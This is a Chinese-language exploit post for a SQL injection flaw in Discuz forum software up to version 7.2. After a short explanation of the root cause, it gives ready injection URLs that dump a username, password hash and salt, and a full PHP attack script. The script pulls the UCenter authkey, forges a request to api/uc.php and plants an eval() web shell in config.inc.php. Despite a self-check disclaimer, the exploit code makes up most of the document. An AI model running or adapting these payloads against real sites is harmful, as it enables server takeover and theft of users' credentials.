Discuz <= 7.2 SQL注入漏洞详情

在《高级PHP应用程序漏洞审核技术》[1]一文里的"魔术引号带来的新的安全问题"一节里，有

提到通过提取魔术引号产生的“\”字符带来的安全问题，同样这个问题在这里又一次完美体

现，如下面的代码片段:

 

// foo.php?xigr='ryat

function daddslashes($string, $force = 0) {

!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

if(!MAGIC_QUOTES_GPC || $force) {

if(is_array($string)) {

foreach($string as $key => $val) {

$string[$key] = daddslashes($val, $force);

}

} else {

$string = addslashes($string);

}

}

return $string;

}

...

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key = daddslashes($_value);

}

}

 

echo $xigr['hi'];

// echo \

 

上面的代码原本期望得到一个经过daddslashes()安全处理后的数组变量$xigr['hi'],但是没

有对变量$xigr做严格的类型规定，当我们提交一个字符串变量$xigr='ryat,经过上面的处理

变为\'ryat,到最后$xigr['hi']就会输出\,如果这个变量引入到SQL语句,那么就会引起严重

的安全问题了,再来看下面的代码片段:

 

...

if($xigr) {

foreach($xigr as $k => $v) {

$uids[] = $v['uid'];

}

$query = $db->query("SELECT uid FROM users WHERE uid IN ('".implode("','", $uids)."')");

 

利用上面提到的思路,通过提交foo.php?xigr[]='&xigr[][uid]=evilcode这样的构造形式可

以很容易的突破GPC或类似的安全处理,形成SQL注射漏洞:D

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 

爆出账号+密码+salt的语句

http://xss.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

以下内容仅供站长进行安全自检，非法利用责任自负

附上getshell exp:（根据别人的测试，代码可能有些部分有待完善）

<?php

 

/**

* @author: xiaoma

* @blog  : www.i0day.com

* @date  : 2014.7.2 23:1

*/

 

error_reporting(0);

set_time_limit(3000);

$host=$argv[1];

$path=$argv[2];

$js=$argv[3];

$timestamp = time()+10*3600;

$table="cdb_";//表名

 

if ($argc < 2) {

print_r('

********************************************************

*  Discuz faq.php SQL Injection Exp                    *

*  ---------By：Www.i0day.com-----------               *

*     Usage: php '.$argv[0].' url [js]                    *

*  -------------------------------------               *

*  js选项: 1.GetShell 2.取密码 3.查表前缀              *

*                                                      *

*   php '.$argv[0].' Www.i0day.com / 1                    *

*   php '.$argv[0].' Www.i0day.com /dz72/ 1               *

*                                                      *

*                                                      *

********************************************************

');

exit;

}

if($js==1){

$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";

$resp = sendpack($host,$path,$sql);

 

if(strpos($resp,"::")==-1){

echo '表前缀可能不是默认cdb_ 请先查看表前缀！';

}else{

preg_match("/::(.*)::/",$resp,$matches);

$lenght=intval($matches[1]);

if($lenght){

if($lenght<=124){

$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";

$resp = sendpack($host,$path,$sql);

if(strpos($resp,"1\^")!=-1){

preg_match("/1\^(.*)\'/U",$resp,$key1);

$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";

$resp = sendpack($host,$path,$sql);

preg_match("/1\^(.*)\'/U",$resp,$key2);

$key=$key1[1].$key2[1];

$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));

$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>

</root>';

$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

<item id="UC_API">bbs.49you.com</item>

</root>';

$html1 = send($cmd1);

$res1=substr($html1,-1);

$html2 = send($cmd2);

$res2=substr($html1,-1);

if($res1=='1'&&$res2=='1'){

echo "shell地址：http://".$host.$path.'config.inc.php   pass:i0day';

}

}else{

echo '获取失败';

}

}

}

}

 

}elseif($js==2){

$sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";

$resp = sendpack($host,$path,$sql);

if(strpos($resp,"\^\^\^")!=-1){

preg_match("/\^\^\^(.*)\^/U",$resp,$password);

echo '密码：'.$password[1];

}else{

echo '表前缀可能不是默认cdb_ 请先查看表前缀！';

}

}elseif($js==3){

$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";

$resp = sendpack($host,$path,$sql);

if(strpos($resp,"1\^")!=-1){

preg_match("/1\^(.*)\^/U",$resp,$t);

 

if(strpos($t[1],"cdb_")!=-1){

echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";

}else{

echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table';

}

}else{

echo "查看表前缀失败,Sorry";

}

}else{

echo "未选择脚本功能";

}

 

 

function sendpack($host,$path,$sql,$js){

$data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";

$data.="Host:".$host."\r\n";

$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";

$data.="Connection: close\r\n\r\n";

//$data.=$html."\r\n";

$ock=fsockopen($host,80);

 

if(!$ock){

echo "No response from ".$host;

die();

 

}

fwrite($ock,$data);

 

$resp = '';

 

while (!feof($ock)) {

 

$resp.=fread($ock, 1024);

}

 

return $resp;

 

}

function send($cmd){

global $host,$code,$path;

$message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: ".$host."\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$message .= "Host: ".$host."\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;

 

//var_dump($message);

$fp = fsockopen($host, 80);

fputs($fp, $message);

 

$resp = '';

 

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

 

return $resp;

}

 

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

 

$key = md5($key ? $key : UC_KEY);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

 

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

 

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

 

$result = '';

$box = range(0, 255);

 

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

 

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

 

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

 

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}

 

}

function hex2str($hex){

$str = '';

$arr = str_split($hex, 2);

foreach($arr as $bit){

$str .= chr(hexdec($bit));

}

return $str;

}

?>

原文链接： http://0day5.com/archives/1834